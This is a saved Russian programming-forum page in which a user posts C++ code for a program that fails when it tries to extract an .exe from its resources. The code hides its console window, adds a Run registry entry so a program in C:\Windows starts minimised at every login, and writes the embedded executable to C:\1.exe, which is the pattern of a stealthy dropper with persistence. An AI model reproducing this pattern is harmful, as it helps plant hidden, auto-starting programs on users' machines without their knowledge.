Форум программистов, компьютерный форум CyberForum.ru

Извлечение .exe из ресурса - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ прямоугольник и овал http://www.cyberforum.ru/cpp-beginners/thread750301.html
Всем добрый вечер Кто поможет ? Группы из прямоугольника и овала меняя свою окраску и стиль движутся по периметру экрана
C++ с++ и математика Здравствуйте. Как написать на си это? http://www.cyberforum.ru/cpp-beginners/thread750297.html
Поле класса - динамический массив C++
Здравствуйте, друзья. Проверьте, пожалуйста, всё ли правильно написано (отсутствие сообщений об ошибках не исключает их присутствия). Цель - создать класс с указателем типа int. Этот поле использовать как динамический массив. Вот код: #include <iostream> #include <conio.h> using namespace std; const int SIZE = 3;
Как записать 2x^4-3x^3+4x^2-5x-6 C++
Задача состоит в том, что бы записать уравнение 2x^4-3x^3+4x^2-5x-6 используя только операции умножение, вычисление, добавление и каждое из них можно использовать только четыре раза.
C++ Что за оператор GO TO NEXT? http://www.cyberforum.ru/cpp-beginners/thread750260.html
Правильное ли утверждение: "действие оператора continue; в приведенных ниже примерах эквивалентно действию оператора go to next;". a)while (E) { S; ... continue; ... S; next: ; } b) do { S; ... continue; ... S; } while (E); next: ; ... . . . . . . Вот я не пойму что за оператор go to next? Кто может дать какую-нибудь инфу.
C++ Вывод данных из файла в массив Здравствуйте Уважаемые дамы и господа. Гуглил, читал но что-то никак не разберусь. Имеется тхт файлик Пример входного файла: 122235739687398670326509273096523096709239652386492036509 83475689723698723987569823759827385789237582378957239857893275.71 779077967857.8 Как загнать сие в массив тоесть загнать все подряд с пробелами разделающими строчки. Был бы благодарен ответам, а лучше... подробнее

Показать сообщение отдельно
slavikg
0 / 0 / 0
Регистрация: 03.04.2012
Сообщений: 71
01.01.2013, 17:38  [ТС]     Извлечение .exe из ресурса
У меня еррор можете посмотреть что не так? Может неправильно .exe добавляю или не тот проект создал?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// setup.cpp: определяет точку входа для консольного приложения.
//
 
#include "stdafx.h"
#include "setup.h"
#include<Windows.h>
#include <windowsx.h>
#include <cstdlib>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
 
 
// Единственный объект приложения
 
CWinApp theApp;
 
using namespace std;
 
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    ShowWindow(GetConsoleWindow(),SW_HIDE);
    int nRetCode = 0;
 
    HMODULE hModule = ::GetModuleHandle(NULL);
 
    if (hModule != NULL)
    {
        // инициализировать MFC, а также печать и сообщения об ошибках про сбое
        if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0))
        {
            // TODO: измените код ошибки соответственно своим потребностям
            _tprintf(_T("Критическая ошибка: сбой при инициализации MFC\n"));
            nRetCode = 1;
        }
        else
        {
            // TODO: Вставьте сюда код для приложения.
        }
    }
    else
    {
        // TODO: Измените код ошибки соответственно своим потребностям
        _tprintf(_T("Критическая ошибка: неудачное завершение GetModuleHandle\n"));
        nRetCode = 1;
    }
 
 
    HKEY hkey1;//hkey2;
    //m_dwMaxFileSize = 16 * 1024;
    //LPCWSTR subkey;
    //unsigned char windir[100];
    //unsigned char szStr[10]={'"','C',':'};
    //szStr[0]='"'; szStr[1]='\0'; 
    //strcat((char*)windir,"C:\Windows\Starter.exe /minimized /regrun");
    //strcat((char*)windir,'\0');
    _TCHAR szTestString[] = _T("C:\\Windows\\Starter.exe /minimized /regrun");
    if(RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),0,KEY_ALL_ACCESS | KEY_WOW64_64KEY,&hkey1)== ERROR_SUCCESS)
        //RegSetValueEx(hkey1,L"Slavikg2",0,REG_SZ,(PBYTE)"C:\Windows\Starter.exe /minimized /regrun",200);//(PBYTE)
        RegSetValueEx(hkey1,L"Slavikg",0,REG_SZ,(BYTE*)szTestString,sizeof(szTestString)+1);
    RegCloseKey(hkey1);
    
    ///////////////////////////////////////////////////////////////////////
    //      Пробуєм вивести екзешку
    //HINSTANCE hInst=NULL;
    int Error = 0 ;
    
    HWND hwnd;
 
HINSTANCE hInst;
    
    hwnd = GetForegroundWindow();
    
   hInst = GetWindowInstance(hwnd);
    
 
HRSRC hResInfo = ::FindResource(hInst, MAKEINTRESOURCE(IDR_EXE3), RT_RCDATA);
                HGLOBAL hRes = ::LoadResource(hInst, hResInfo);
                LPVOID memRes = ::LockResource(hRes);
                DWORD sizeRes = ::SizeofResource(hInst, hResInfo);
 
                HANDLE hFile = ::CreateFile(TEXT("C:\\1.exe"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
                DWORD dwWritten = 0;
               Error = ::WriteFile(hFile, memRes, sizeRes, &dwWritten, NULL);
                ::CloseHandle(hFile);
    
    if(Error!=0){
                 cout<<"Ok\n";
                 
                 }
                 
else{
     
     cout<<"Error\n";
     
     }
     
     system("PAUSE");
 
 
    //////////////////////////////////////////////////////////////////////
    return nRetCode;
}
 
Текущее время: 03:59. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru